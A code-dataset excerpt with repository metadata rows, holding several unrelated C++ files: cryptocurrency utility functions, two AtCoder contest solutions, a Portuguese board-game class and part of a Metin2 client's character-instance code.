ftruncate(fileno(file), fst.fst_length);
#elif defined(__linux__)
// Version using posix_fallocate
off_t nEndPos = (off_t)offset + length;
posix_fallocate(fileno(file), 0, nEndPos);
#else
// Fallback version
// TODO: just write one byte per block
static const char buf[65536] = {};
fseek(file, offset, SEEK_SET);
while (length > 0) {
unsigned int now = 65536;
if (length < now)
now = length;
fwrite(buf, 1, now, file); // allowed to fail; this function is advisory anyway
length -= now;
}
#endif
}
void ShrinkDebugFile()
{
// Scroll debug.log if it's getting too big
boost::filesystem::path pathLog = GetDataDir() / "debug.log";
FILE* file = fopen(pathLog.string().c_str(), "r");
if (file && boost::filesystem::file_size(pathLog) > 10 * 1000000) {
// Restart the file with some of the end
std::vector<char> vch(200000, 0);
fseek(file, -((long)vch.size()), SEEK_END);
int nBytes = fread(begin_ptr(vch), 1, vch.size(), file);
fclose(file);
file = fopen(pathLog.string().c_str(), "w");
if (file) {
fwrite(begin_ptr(vch), 1, nBytes, file);
fclose(file);
}
} else if (file != NULL)
fclose(file);
}
#ifdef WIN32
boost::filesystem::path GetSpecialFolderPath(int nFolder, bool fCreate)
{
namespace fs = boost::filesystem;
char pszPath[MAX_PATH] = "";
if (SHGetSpecialFolderPathA(NULL, pszPath, nFolder, fCreate)) {
return fs::path(pszPath);
}
LogPrintf("SHGetSpecialFolderPathA() failed, could not obtain requested path.\n");
return fs::path("");
}
#endif
boost::filesystem::path GetTempPath()
{
#if BOOST_FILESYSTEM_VERSION == 3
return boost::filesystem::temp_directory_path();
#else
// TODO: remove when we don't support filesystem v2 anymore
boost::filesystem::path path;
#ifdef WIN32
char pszPath[MAX_PATH] = "";
if (GetTempPathA(MAX_PATH, pszPath))
path = boost::filesystem::path(pszPath);
#else
path = boost::filesystem::path("/tmp");
#endif
if (path.empty() || !boost::filesystem::is_directory(path)) {
LogPrintf("GetTempPath(): failed to find temp path\n");
return boost::filesystem::path("");
}
return path;
#endif
}
void runCommand(std::string strCommand)
{
int nErr = ::system(strCommand.c_str());
if (nErr)
LogPrintf("runCommand error: system(%s) returned %d\n", strCommand, nErr);
}
void RenameThread(const char* name)
{
#if defined(PR_SET_NAME)
// Only the first 15 characters are used (16 - NUL terminator)
::prctl(PR_SET_NAME, name, 0, 0, 0);
#elif 0 && (defined(__FreeBSD__) || defined(__OpenBSD__))
// TODO: This is currently disabled because it needs to be verified to work
// on FreeBSD or OpenBSD first. When verified the '0 &&' part can be
// removed.
pthread_set_name_np(pthread_self(), name);
#elif defined(MAC_OSX) && defined(__MAC_OS_X_VERSION_MAX_ALLOWED)
// pthread_setname_np is XCode 10.6-and-later
#if __MAC_OS_X_VERSION_MAX_ALLOWED >= 1060
pthread_setname_np(name);
#endif
#else
// Prevent warnings for unused parameters...
(void)name;
#endif
}
void SetupEnvironment()
{
// On most POSIX systems (e.g. Linux, but not BSD) the environment's locale
// may be invalid, in which case the "C" locale is used as fallback.
#if !defined(WIN32) && !defined(MAC_OSX) && !defined(__FreeBSD__) && !defined(__OpenBSD__)
try {
std::locale(""); // Raises a runtime error if current locale is invalid
} catch (const std::runtime_error&) {
setenv("LC_ALL", "C", 1);
}
#endif
// The path locale is lazy initialized and to avoid deinitialization errors
// in multithreading environments, it is set explicitly by the main thread.
// A dummy locale is used to extract the internal default locale, used by
// boost::filesystem::path, which is then used to explicitly imbue the path.
std::locale loc = boost::filesystem::path::imbue(std::locale::classic());
boost::filesystem::path::imbue(loc);
}
void SetThreadPriority(int nPriority)
{
#ifdef WIN32
SetThreadPriority(GetCurrentThread(), nPriority);
#else // WIN32
#ifdef PRIO_THREAD
setpriority(PRIO_THREAD, 0, nPriority);
#else // PRIO_THREAD
setpriority(PRIO_PROCESS, 0, nPriority);
#endif // PRIO_THREAD
#endif // WIN32
}
| [
"muayfitcoin@gmail.com"
] | muayfitcoin@gmail.com |
4546b2005128e3203d42016997a66d68543aef3c | 6abb92d99ff4218866eafab64390653addbf0d64 | /AtCoder/asa/2020/asa0220/d.cpp | c28996d461b76250ea7af5c6ef6d16547a77c8b2 | [] | no_license | Johannyjm/c-pro | 38a7b81aff872b2246e5c63d6e49ef3dfb0789ae | 770f2ac419b31bb0d47c4ee93c717c0c98c1d97d | refs/heads/main | 2023-08-18T01:02:23.761499 | 2023-08-07T15:13:58 | 2023-08-07T15:13:58 | 217,938,272 | 0 | 0 | null | 2023-06-25T15:11:37 | 2019-10-28T00:51:09 | C++ | UTF-8 | C++ | false | false | 1,094 | cpp | #include <bits/stdc++.h>
#define rep(i, n) for (int i = 0; i < (n); ++i)
#define rep1(i, n) for (int i = 1; i < (n); ++i)
using namespace std;
typedef long long ll;
const ll INF = 1LL << 60;
const ll SEG_LEN = 1LL << 18;
int seg[SEG_LEN * 2] = {0};
void add(int idx, int x){
idx += SEG_LEN;
seg[idx] += x;
while(1){
idx /= 2;
if(idx==0) break;
seg[idx] = seg[idx*2] + seg[idx*2+1];
}
}
int get_sum(int l, int r){
l += SEG_LEN;
r += SEG_LEN;
int ret = 0;
while(l<r){
if(l%2){
ret += seg[l];
++l;
}
l /= 2;
if(r%2){
ret += seg[r-1];
--r;
}
r /= 2;
}
return ret;
}
int main() {
cin.tie(nullptr);
ios::sync_with_stdio(false);
int n, a;
cin >> n;
rep(i, n){
cin >> a;
add(i+1, a);
}
int res = 0;
rep(l, n-1){
for(int r = l+1; r < n; ++r){
if(get_sum(l, r+1) == 0) {
++res;
}
}
}
cout << res << endl;
return 0;
} | [
"meetpastarts@gmail.com"
] | meetpastarts@gmail.com |
5c49479918e4ef6494204098a522801f56d52603 | c702a7cfde317b06c0dba966c8b45918e6127144 | /Jogo.cpp | 5f6efb090bfebf13482996db5cdcc0e500ed2541 | [] | no_license | cmdalbem/titiapus | 1210d2c45a53a5cdfbe1d72e10ef2c5dd87d668d | 567fc84f8203698e16401f7e178df5bd979adcfb | refs/heads/master | 2021-01-22T14:32:47.033180 | 2010-11-25T13:20:53 | 2010-11-25T13:20:53 | 32,189,770 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,817 | cpp | #include <iostream>
using namespace std;
#include "Jogo.h"
Jogo::Jogo( tipoJogador _jogadorBrancas, tipoJogador _jogadorPretas )
{
novo( _jogadorBrancas, _jogadorPretas );
}
Jogo::~Jogo() {}
void Jogo::posicoesIniciais()
{
for(int i=0; i<2; i++)
for(int j=0; j<NCOL; j++)
campo.setaCasa(i,j,PCPRETA);
for(int i=3; i<5; i++)
for(int j=0; j<NCOL; j++)
campo.setaCasa(i,j,PCBRANCA);
campo.setaCasa(2,0,PCBRANCA);
campo.setaCasa(2,1,PCPRETA);
campo.setaCasa(2,2,PCBRANCA);
campo.setaCasa(2,3,NADA);
campo.setaCasa(2,4,PCPRETA);
campo.setaCasa(2,5,PCBRANCA);
campo.setaCasa(2,6,PCPRETA);
}
void Jogo::comecar()
{
executarTurno();
}
void Jogo::novo( tipoJogador _jogadorBrancas, tipoJogador _jogadorPretas )
{
posicoesIniciais();
campo.ultimasJogadas.clear();
njogadas = 0;
esperandoJogada = false;
if(_jogadorBrancas == COMPUTADOR)
jogador[BRANCO] = new JogadorComputador(BRANCO,campo,niveisMinimax);
else
jogador[BRANCO] = new JogadorHumano(BRANCO,campo);
if(_jogadorPretas == COMPUTADOR)
jogador[PRETO] = new JogadorComputador(PRETO,campo,niveisMinimax);
else
jogador[PRETO] = new JogadorHumano(PRETO,campo);
jogadorAtual = jogador[BRANCO];
campo.npecas[BRANCO] = campo.npecas[PRETO] = 17;
}
void Jogo::executaJogada( Jogada jogada )
{
/*//cout<<"EXECUTOU MOVIMENTO"<<endl;
esperandoJogada = false;
njogadas++;
//pair<Estado,bool> jogadinha = campo.movePeca(jogada.first,jogada.second);
//campo = jogadinha.first;
//vector<Jogada> possiveis = campo.getJogadasPossiveis(jogadorAtual->meuTime);
//printJogadas(possiveis);
if(!jogadinha.second || possiveis.size()==0) //se nao comeu peça ou nao tem mais jogadas possiveis
passar();
else
{
if(jogadorAtual->tipo==HUMANO)
esperandoJogada = true;
else
executarTurno();
}*/
}
void Jogo::executarTurno()
{
jogadorAtual->setaEstadoAtual(campo);
if(jogadorAtual->tipo==HUMANO)
{
esperandoJogada = true;
if( ((JogadorHumano*)jogadorAtual)->estado == DECIDIU )
{
((JogadorHumano*)jogadorAtual)->estado = PARADO;
Estado anterior = campo;
campo = jogadorAtual->retornaJogada();
bool comeu = (anterior.npecas[BRANCO]+anterior.npecas[PRETO]) -
(campo.npecas[BRANCO]+campo.npecas[PRETO])
> 0;
esperandoJogada = false;
vector<Jogada> possiveis = campo.getJogadasPossiveis(jogadorAtual->meuTime);
if(!comeu || possiveis.size()==0) //se nao comeu peça ou nao tem mais jogadas possiveis
passar();
else
esperandoJogada = true;
}
}
else
{
Estado anterior = campo;
campo = jogadorAtual->retornaJogada();
bool comeu = (anterior.npecas[BRANCO]+anterior.npecas[PRETO]) -
(campo.npecas[BRANCO]+campo.npecas[PRETO])
> 0;
vector<Jogada> possiveis = campo.getJogadasPossiveis(jogadorAtual->meuTime);
if(!comeu || possiveis.size()==0) //se nao comeu peça ou nao tem mais jogadas possiveis
passar();
else {
executarTurno();
}
}
}
void Jogo::passar()
{
// passa o turno
if( jogadorAtual==jogador[0] ) {
cout << "Jogador 0:" << endl;
jogadorAtual = jogador[1];
}
else {
cout << "Jogador 1:" << endl;
jogadorAtual = jogador[0];
}
///////////////////////////////////////////////////////////////////
// HABILITE-ME HABILITE-ME HABILITE-ME HABILITE-ME HABILITE-ME ////
///////////////////////////////////////////////////////////////////
printJogadas(campo.ultimasJogadas);
campo.ultimasJogadas.clear();
executarTurno();
}
vector<Jogada> Jogo::getJogadasObrigatorias()
{
return campo.getJogadasObrigatorias( jogadorAtual->meuTime );
}
vector<Jogada> Jogo::getJogadasPossiveis()
{
return campo.getJogadasPossiveis( jogadorAtual->meuTime );
}
| [
"ninja.dalbem@5e43c5b1-3cc6-e38b-4c49-94f38ad1f185"
] | ninja.dalbem@5e43c5b1-3cc6-e38b-4c49-94f38ad1f185 |
dfa12aba73df00666c3cc65c90ee0cde95cd3143 | b22bb82b00b1c9cd3fcd1f125f0af95e673c340e | /Atcoder/abc115/A.cpp | b37e3b771116e8826b6f054409fb623f97ed9e1a | [] | no_license | HatemSaadallah/CompetitiveProgramming | 889bfc718ced775059a239319e0cdbaa99bc59f7 | c574c518c95d027e766dcafba69051aaf420e78b | refs/heads/master | 2023-06-30T22:08:10.044227 | 2021-08-11T21:07:06 | 2021-08-11T21:07:06 | 287,582,246 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,043 | cpp | #include <bits/stdc++.h>
#include <iostream>
#include <vector>
#include <string>
#include <algorithm>
#include <numeric>
#include <math.h>
#include <sstream>
#include <iterator>
using namespace std;
#define endl ("\n")
#define pi (3.141592653589)
#define mod 1000000007
#define int int64_t
#define float double
#define pb push_back
#define mp make_pair
#define ff first
#define ss second
#define all(c) c.begin(), c.end()
#define min3(a, b, c) min(c, min(a, b))
#define min4(a, b, c, d) min(d, min(c, min(a, b)))
#define rrep(i, n) for(int i=n-1;i>=0;i--)
#define rep(i,n) for(int i=0;i<n;i++)
#define fast ios_base::sync_with_stdio(false), cin.tie(nullptr), cout.tie(nullptr)
struct debugger
{
template<typename T> debugger& operator , (const T& v)
{
cerr<<v<<" ";
return *this;
}
} dbg;
int32_t main()
{
fast;
int D;
cin >> D;
if (D==25) cout << "Christmas";
else if(D==24) cout << "Christmas Eve";
else if(D==23) cout << "Christmas Eve Eve";
else cout << "Christmas Eve Eve Eve";
}
| [
"saadallah.r.hatem@gmail.com"
] | saadallah.r.hatem@gmail.com |
184db48364e4fa70724a346821d0e65dfc5c78d1 | b06beb82b9159be0e487076ea2a6afbdc47101b3 | /3-Special-Topics/34-Common-Techinques-Advanced/01-repeatedDNASequences.cpp | 7704752056c7bfeaf045acb04367813a0df6b35a | [] | no_license | TribbianniSun/CodeSignal-Interview-Practice | b9d2849eba1cb782331c1d299eef62e1bb0cc4ec | 678ef4a7d9baba98fe93bac37a7ce4b8761b7efd | refs/heads/master | 2023-06-26T22:34:53.593793 | 2021-08-02T01:44:28 | 2021-08-02T01:44:28 | 386,608,094 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 357 | cpp | vector<string> repeatedDNASequences(string s) {
vector<string> ret;
if(s.size() <= 10) return ret;
unordered_map<string, int> mp;
for(int i = 0; i <= s.size() - 10; i++){
mp[s.substr(i, 10)] += 1;
}
for(auto&& [s, freq] : mp){
if(freq >= 2) ret.push_back(s);
}
sort(ret.begin(), ret.end());
return ret;
}
| [
"haihaosun@Haihaos-MacBook-Pro.local"
] | haihaosun@Haihaos-MacBook-Pro.local |
d713b1a291ab3b6f36bd0e4a357296ea0c2b8fe0 | faf940641a408c06f0816264b89e1c21e0cc5f25 | /Legendy.Source/ClientSource/Client/UserInterface/InstanceBase.cpp | 9ebbe47e36f53c02b63256b368d47fe944c48e69 | [] | no_license | nkuprens27/LegendySF-V2 | 90c49a0c3670eab5f3698385ec7c9f772d51988e | 7f9205448fd76bde7bff7b7aac568e795659b0be | refs/heads/main | 2023-07-18T03:57:57.258546 | 2021-09-08T20:59:37 | 2021-09-08T20:59:37 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 76,797 | cpp | #include "StdAfx.h"
#include "InstanceBase.h"
#include "PythonBackground.h"
#include "PythonNonPlayer.h"
#include "PythonPlayer.h"
#include "PythonCharacterManager.h"
#include "AbstractPlayer.h"
#include "AbstractApplication.h"
#include "packet.h"
#include "../eterlib/StateManager.h"
#include "../gamelib/ItemManager.h"
#include "../gamelib/GameLibDefines.h"
#ifdef WJ_SHOW_MOB_INFO
#include "PythonSystem.h"
#include "PythonTextTail.h"
#endif
BOOL HAIR_COLOR_ENABLE=FALSE;
BOOL USE_ARMOR_SPECULAR=FALSE;
BOOL RIDE_HORSE_ENABLE=TRUE;
const float c_fDefaultRotationSpeed = 1200.0f;
const float c_fDefaultHorseRotationSpeed = 1300.0f;
#define ENABLE_NO_MOUNT_CHECK
bool IsWall(unsigned race)
{
switch (race)
{
case 14201:
case 14202:
case 14203:
case 14204:
return true;
break;
}
return false;
}
//////////////////////////////////////////////////////////////////////////////////////
CInstanceBase::SHORSE::SHORSE()
{
__Initialize();
}
CInstanceBase::SHORSE::~SHORSE()
{
assert(m_pkActor==NULL);
}
void CInstanceBase::SHORSE::__Initialize()
{
m_isMounting=false;
m_pkActor=NULL;
}
void CInstanceBase::SHORSE::SetAttackSpeed(UINT uAtkSpd)
{
if (!IsMounting())
return;
CActorInstance& rkActor=GetActorRef();
rkActor.SetAttackSpeed(uAtkSpd/100.0f);
}
void CInstanceBase::SHORSE::SetMoveSpeed(UINT uMovSpd)
{
if (!IsMounting())
return;
CActorInstance& rkActor=GetActorRef();
rkActor.SetMoveSpeed(uMovSpd/100.0f);
}
void CInstanceBase::SHORSE::Create(const TPixelPosition& c_rkPPos, UINT eRace, UINT eHitEffect)
{
assert(NULL==m_pkActor && "CInstanceBase::SHORSE::Create - ALREADY MOUNT");
m_pkActor=new CActorInstance;
CActorInstance& rkActor=GetActorRef();
rkActor.SetEventHandler(CActorInstance::IEventHandler::GetEmptyPtr());
if (!rkActor.SetRace(eRace))
{
delete m_pkActor;
m_pkActor=NULL;
return;
}
rkActor.SetShape(0);
rkActor.SetBattleHitEffect(eHitEffect);
rkActor.SetAlphaValue(0.0f);
rkActor.BlendAlphaValue(1.0f, 0.5f);
rkActor.SetMoveSpeed(1.0f);
rkActor.SetAttackSpeed(1.0f);
rkActor.SetMotionMode(CRaceMotionData::MODE_GENERAL);
rkActor.Stop();
rkActor.RefreshActorInstance();
rkActor.SetCurPixelPosition(c_rkPPos);
m_isMounting=true;
}
void CInstanceBase::SHORSE::Destroy()
{
if (m_pkActor)
{
m_pkActor->Destroy();
delete m_pkActor;
}
__Initialize();
}
CActorInstance& CInstanceBase::SHORSE::GetActorRef()
{
assert(NULL!=m_pkActor && "CInstanceBase::SHORSE::GetActorRef");
return *m_pkActor;
}
CActorInstance* CInstanceBase::SHORSE::GetActorPtr()
{
return m_pkActor;
}
enum eMountType {MOUNT_TYPE_NONE=0, MOUNT_TYPE_NORMAL=1, MOUNT_TYPE_COMBAT=2, MOUNT_TYPE_MILITARY=3};
eMountType GetMountLevelByVnum(DWORD dwMountVnum, bool IsNew)
{
if (!dwMountVnum)
return MOUNT_TYPE_NONE;
switch (dwMountVnum)
{
// ### YES SKILL
// @fixme116 begin
case 20107: // normal military horse (no guild)
case 20108: // normal military horse (guild member)
case 20109: // normal military horse (guild master)
if (IsNew)
return MOUNT_TYPE_NONE;
// @fixme116 end
// Classic
case 20110: // Classic Boar
case 20111: // Classic Wolf
case 20112: // Classic Tiger
case 20113: // Classic Lion
case 20114: // White Lion
// Special Lv2
case 20115: // Wild Battle Boar
case 20116: // Fight Wolf
case 20117: // Storm Tiger
case 20118: // Battle Lion (bugged)
case 20205: // Wild Battle Boar (alternative)
case 20206: // Fight Wolf (alternative)
case 20207: // Storm Tiger (alternative)
case 20208: // Battle Lion (bugged) (alternative)
// Royal Tigers
case 20120: // blue
case 20121: // dark red
case 20122: // gold
case 20123: // green
case 20124: // pied
case 20125: // white
// Royal mounts (Special Lv3)
case 20209: // Royal Boar
case 20210: // Royal Wolf
case 20211: // Royal Tiger
case 20212: // Royal Lion
//
case 20215: // Rudolph m Lv3 (yes skill, yes atk)
case 20218: // Rudolph f Lv3 (yes skill, yes atk)
case 20225: // Dyno Lv3 (yes skill, yes atk)
case 20230: // Turkey Lv3 (yes skill, yes atk)
return MOUNT_TYPE_MILITARY;
break;
// ### NO SKILL YES ATK
// @fixme116 begin
case 20104: // normal combat horse (no guild)
case 20105: // normal combat horse (guild member)
case 20106: // normal combat horse (guild master)
if (IsNew)
return MOUNT_TYPE_NONE;
// @fixme116 end
case 20119: // Black Horse (no skill, yes atk)
case 20214: // Rudolph m Lv2 (no skill, yes atk)
case 20217: // Rudolph f Lv2 (no skill, yes atk)
case 20219: // Equus Porphyreus (no skill, yes atk)
case 20220: // Comet (no skill, yes atk)
case 20221: // Polar Predator (no skill, yes atk)
case 20222: // Armoured Panda (no skill, yes atk)
case 20224: // Dyno Lv2 (no skill, yes atk)
case 20226: // Nightmare (no skill, yes atk)
case 20227: // Unicorn (no skill, yes atk)
case 20229: // Turkey Lv2 (no skill, yes atk)
case 20231: // Leopard (no skill, yes atk)
case 20232: // Black Panther (no skill, yes atk)
return MOUNT_TYPE_COMBAT;
break;
// ### NO SKILL NO ATK
// @fixme116 begin
case 20101: // normal beginner horse (no guild)
case 20102: // normal beginner horse (guild member)
case 20103: // normal beginner horse (guild master)
if (IsNew)
return MOUNT_TYPE_NONE;
// @fixme116 end
case 20213: // Rudolph m Lv1 (no skill, no atk)
case 20216: // Rudolph f Lv1 (no skill, no atk)
// Special Lv1
case 20201: // Boar Lv1 (no skill, no atk)
case 20202: // Wolf Lv1 (no skill, no atk)
case 20203: // Tiger Lv1 (no skill, no atk)
case 20204: // Lion Lv1 (no skill, no atk)
//
case 20223: // Dyno Lv1 (no skill, no atk)
case 20228: // Turkey Lv1 (no skill, no atk)
return MOUNT_TYPE_NORMAL;
break;
default:
return MOUNT_TYPE_NONE;
break;
}
}
UINT CInstanceBase::SHORSE::GetLevel()
{
if (m_pkActor)
{
#ifndef ENABLE_NO_MOUNT_CHECK
return static_cast<UINT>(GetMountLevelByVnum(m_pkActor->GetRace(), false));
#else
return (m_pkActor->GetRace()) ? MOUNT_TYPE_MILITARY : MOUNT_TYPE_NONE;
#endif
}
return 0;
}
bool CInstanceBase::SHORSE::IsNewMount()
{
#ifndef ENABLE_NO_MOUNT_CHECK
if (m_pkActor)
{
DWORD dwMountVnum = m_pkActor->GetRace();
eMountType mountType = GetMountLevelByVnum(dwMountVnum, true);
return (mountType != MOUNT_TYPE_NONE) && (mountType != MOUNT_TYPE_NORMAL);
}
#endif
return false;
}
bool CInstanceBase::SHORSE::CanUseSkill()
{
if (IsMounting())
return 2 < GetLevel();
return true;
}
bool CInstanceBase::SHORSE::CanAttack()
{
if (IsMounting())
if (GetLevel()<=1)
return false;
return true;
}
bool CInstanceBase::SHORSE::IsMounting()
{
return m_isMounting;
}
void CInstanceBase::SHORSE::Deform()
{
if (!IsMounting())
return;
CActorInstance& rkActor=GetActorRef();
rkActor.INSTANCEBASE_Deform();
}
void CInstanceBase::SHORSE::Render()
{
if (!IsMounting())
return;
CActorInstance& rkActor=GetActorRef();
rkActor.Render();
}
void CInstanceBase::__AttachHorseSaddle()
{
if (!IsMountingHorse())
return;
m_kHorse.m_pkActor->AttachModelInstance(CRaceData::PART_MAIN, "saddle", m_GraphicThingInstance, CRaceData::PART_MAIN);
}
void CInstanceBase::__DetachHorseSaddle()
{
if (!IsMountingHorse())
return;
m_kHorse.m_pkActor->DetachModelInstance(CRaceData::PART_MAIN, m_GraphicThingInstance, CRaceData::PART_MAIN);
}
//////////////////////////////////////////////////////////////////////////////////////
void CInstanceBase::BlockMovement()
{
m_GraphicThingInstance.BlockMovement();
}
bool CInstanceBase::IsBlockObject(const CGraphicObjectInstance& c_rkBGObj)
{
return m_GraphicThingInstance.IsBlockObject(c_rkBGObj);
}
bool CInstanceBase::AvoidObject(const CGraphicObjectInstance& c_rkBGObj)
{
return m_GraphicThingInstance.AvoidObject(c_rkBGObj);
}
///////////////////////////////////////////////////////////////////////////////////
bool __ArmorVnumToShape(int iVnum, DWORD * pdwShape)
{
*pdwShape = iVnum;
/////////////////////////////////////////
if (0 == iVnum || 1 == iVnum)
return false;
if (!USE_ARMOR_SPECULAR)
return false;
CItemData * pItemData;
if (!CItemManager::Instance().GetItemDataPointer(iVnum, &pItemData))
return false;
enum
{
SHAPE_VALUE_SLOT_INDEX = 3,
};
*pdwShape = pItemData->GetValue(SHAPE_VALUE_SLOT_INDEX);
return true;
}
class CActorInstanceBackground : public IBackground
{
public:
CActorInstanceBackground() {}
virtual ~CActorInstanceBackground() {}
bool IsBlock(int x, int y)
{
CPythonBackground& rkBG=CPythonBackground::Instance();
return rkBG.isAttrOn(x, y, CTerrainImpl::ATTRIBUTE_BLOCK);
}
};
static CActorInstanceBackground gs_kActorInstBG;
bool CInstanceBase::LessRenderOrder(CInstanceBase* pkInst)
{
int nMainAlpha=(__GetAlphaValue() < 1.0f) ? 1 : 0;
int nTestAlpha=(pkInst->__GetAlphaValue() < 1.0f) ? 1 : 0;
if (nMainAlpha < nTestAlpha)
return true;
if (nMainAlpha > nTestAlpha)
return false;
if (GetRace()<pkInst->GetRace())
return true;
if (GetRace()>pkInst->GetRace())
return false;
if (GetShape()<pkInst->GetShape())
return true;
if (GetShape()>pkInst->GetShape())
return false;
UINT uLeftLODLevel=__LessRenderOrder_GetLODLevel();
UINT uRightLODLevel=pkInst->__LessRenderOrder_GetLODLevel();
if (uLeftLODLevel<uRightLODLevel)
return true;
if (uLeftLODLevel>uRightLODLevel)
return false;
if (m_awPart[CRaceData::PART_WEAPON]<pkInst->m_awPart[CRaceData::PART_WEAPON])
return true;
return false;
}
UINT CInstanceBase::__LessRenderOrder_GetLODLevel()
{
CGrannyLODController* pLODCtrl=m_GraphicThingInstance.GetLODControllerPointer(0);
if (!pLODCtrl)
return 0;
return pLODCtrl->GetLODLevel();
}
bool CInstanceBase::__Background_GetWaterHeight(const TPixelPosition& c_rkPPos, float* pfHeight)
{
long lHeight;
if (!CPythonBackground::Instance().GetWaterHeight(int(c_rkPPos.x), int(c_rkPPos.y), &lHeight))
return false;
*pfHeight = float(lHeight);
return true;
}
bool CInstanceBase::__Background_IsWaterPixelPosition(const TPixelPosition& c_rkPPos)
{
return CPythonBackground::Instance().isAttrOn(c_rkPPos.x, c_rkPPos.y, CTerrainImpl::ATTRIBUTE_WATER);
}
const float PC_DUST_RANGE = 2000.0f;
const float NPC_DUST_RANGE = 1000.0f;
DWORD CInstanceBase::ms_dwUpdateCounter=0;
DWORD CInstanceBase::ms_dwRenderCounter=0;
DWORD CInstanceBase::ms_dwDeformCounter=0;
CDynamicPool<CInstanceBase> CInstanceBase::ms_kPool;
bool CInstanceBase::__IsInDustRange()
{
if (!__IsExistMainInstance())
return false;
CInstanceBase* pkInstMain=__GetMainInstancePtr();
float fDistance=NEW_GetDistanceFromDestInstance(*pkInstMain);
if (IsPC())
{
if (fDistance<=PC_DUST_RANGE)
return true;
}
if (fDistance<=NPC_DUST_RANGE)
return true;
return false;
}
void CInstanceBase::__EnableSkipCollision()
{
if (__IsMainInstance())
{
TraceError("CInstanceBase::__EnableSkipCollision - You should not skip your own collisions!!");
return;
}
m_GraphicThingInstance.EnableSkipCollision();
}
void CInstanceBase::__DisableSkipCollision()
{
m_GraphicThingInstance.DisableSkipCollision();
}
DWORD CInstanceBase::__GetShadowMapColor(float x, float y)
{
CPythonBackground& rkBG=CPythonBackground::Instance();
return rkBG.GetShadowMapColor(x, y);
}
float CInstanceBase::__GetBackgroundHeight(float x, float y)
{
CPythonBackground& rkBG=CPythonBackground::Instance();
return rkBG.GetHeight(x, y);
}
#ifdef __MOVIE_MODE__
BOOL CInstanceBase::IsMovieMode()
{
#ifdef ENABLE_CANSEEHIDDENTHING_FOR_GM
if (IsAffect(AFFECT_INVISIBILITY) && !__MainCanSeeHiddenThing())
return true;
#else
if (IsAffect(AFFECT_INVISIBILITY))
return true;
#endif
return false;
}
#endif
BOOL CInstanceBase::IsInvisibility()
{
#ifdef ENABLE_CANSEEHIDDENTHING_FOR_GM
if (IsAffect(AFFECT_INVISIBILITY) && !__MainCanSeeHiddenThing())
return true;
#else
if (IsAffect(AFFECT_INVISIBILITY))
return true;
#endif
return false;
}
BOOL CInstanceBase::IsParalysis()
{
return m_GraphicThingInstance.IsParalysis();
}
BOOL CInstanceBase::IsGameMaster()
{
if (m_kAffectFlagContainer.IsSet(AFFECT_YMIR))
return true;
return false;
}
BOOL CInstanceBase::IsSameEmpire(CInstanceBase& rkInstDst)
{
if (0 == rkInstDst.m_dwEmpireID)
return TRUE;
//@DsProject6
if ((rkInstDst.GetRace() >= 34001 && rkInstDst.GetRace() <= 34099) || (rkInstDst.GetRace() >= 30000 && rkInstDst.GetRace() <= 30100) || (rkInstDst.GetRace() >= 20101 && rkInstDst.GetRace() <= 20299))
return TRUE;
//@DsProject6
if (IsGameMaster())
return TRUE;
if (rkInstDst.IsGameMaster())
return TRUE;
if (rkInstDst.m_dwEmpireID==m_dwEmpireID)
return TRUE;
return FALSE;
}
DWORD CInstanceBase::GetEmpireID()
{
return m_dwEmpireID;
}
DWORD CInstanceBase::GetGuildID()
{
return m_dwGuildID;
}
#ifdef ENABLE_GUILD_LEADER_GRADE_NAME
BYTE CInstanceBase::GetGuildLeaderGrade()
{
return m_bGuildLeaderGrade;
}
#endif
int CInstanceBase::GetAlignment()
{
return m_sAlignment;
}
UINT CInstanceBase::GetAlignmentGrade()
{
if (m_sAlignment >= 12000)
return 0;
else if (m_sAlignment >= 8000)
return 1;
else if (m_sAlignment >= 4000)
return 2;
else if (m_sAlignment >= 1000)
return 3;
else if (m_sAlignment >= 0)
return 4;
else if (m_sAlignment > -4000)
return 5;
else if (m_sAlignment > -8000)
return 6;
else if (m_sAlignment > -12000)
return 7;
return 8;
}
int CInstanceBase::GetAlignmentType()
{
switch (GetAlignmentGrade())
{
case 0:
case 1:
case 2:
case 3:
{
return ALIGNMENT_TYPE_WHITE;
break;
}
case 5:
case 6:
case 7:
case 8:
{
return ALIGNMENT_TYPE_DARK;
break;
}
}
return ALIGNMENT_TYPE_NORMAL;
}
#ifdef ENABLE_GUILD_LEADER_GRADE_NAME
BYTE CInstanceBase::GetGuildLeaderGradeType()
{
if (m_bGuildLeaderGrade == 3)
return 0;
else if (m_bGuildLeaderGrade == 2)
return 1;
return 2;
}
#endif
BYTE CInstanceBase::GetPKMode()
{
return m_byPKMode;
}
bool CInstanceBase::IsKiller()
{
return m_isKiller;
}
bool CInstanceBase::IsPartyMember()
{
return m_isPartyMember;
}
BOOL CInstanceBase::IsInSafe()
{
const TPixelPosition& c_rkPPosCur=m_GraphicThingInstance.NEW_GetCurPixelPositionRef();
if (CPythonBackground::Instance().isAttrOn(c_rkPPosCur.x, c_rkPPosCur.y, CTerrainImpl::ATTRIBUTE_BANPK))
return TRUE;
return FALSE;
}
float CInstanceBase::CalculateDistanceSq3d(const TPixelPosition& c_rkPPosDst)
{
const TPixelPosition& c_rkPPosSrc=m_GraphicThingInstance.NEW_GetCurPixelPositionRef();
return SPixelPosition_CalculateDistanceSq3d(c_rkPPosSrc, c_rkPPosDst);
}
void CInstanceBase::OnSelected()
{
#ifdef __MOVIE_MODE__
if (!__IsExistMainInstance())
return;
#endif
if (IsStoneDoor())
return;
if (IsDead())
return;
__AttachSelectEffect();
}
void CInstanceBase::OnUnselected()
{
__DetachSelectEffect();
}
void CInstanceBase::OnTargeted()
{
#ifdef __MOVIE_MODE__
if (!__IsExistMainInstance())
return;
#endif
if (IsStoneDoor())
return;
if (IsDead())
return;
__AttachTargetEffect();
}
void CInstanceBase::OnUntargeted()
{
__DetachTargetEffect();
}
void CInstanceBase::DestroySystem()
{
ms_kPool.Clear();
}
void CInstanceBase::CreateSystem(UINT uCapacity)
{
ms_kPool.Create(uCapacity);
memset(ms_adwCRCAffectEffect, 0, sizeof(ms_adwCRCAffectEffect));
ms_fDustGap=250.0f;
ms_fHorseDustGap=500.0f;
}
CInstanceBase* CInstanceBase::New()
{
return ms_kPool.Alloc();
}
void CInstanceBase::Delete(CInstanceBase* pkInst)
{
pkInst->Destroy();
ms_kPool.Free(pkInst);
}
void CInstanceBase::SetMainInstance()
{
CPythonCharacterManager& rkChrMgr=CPythonCharacterManager::Instance();
DWORD dwVID=GetVirtualID();
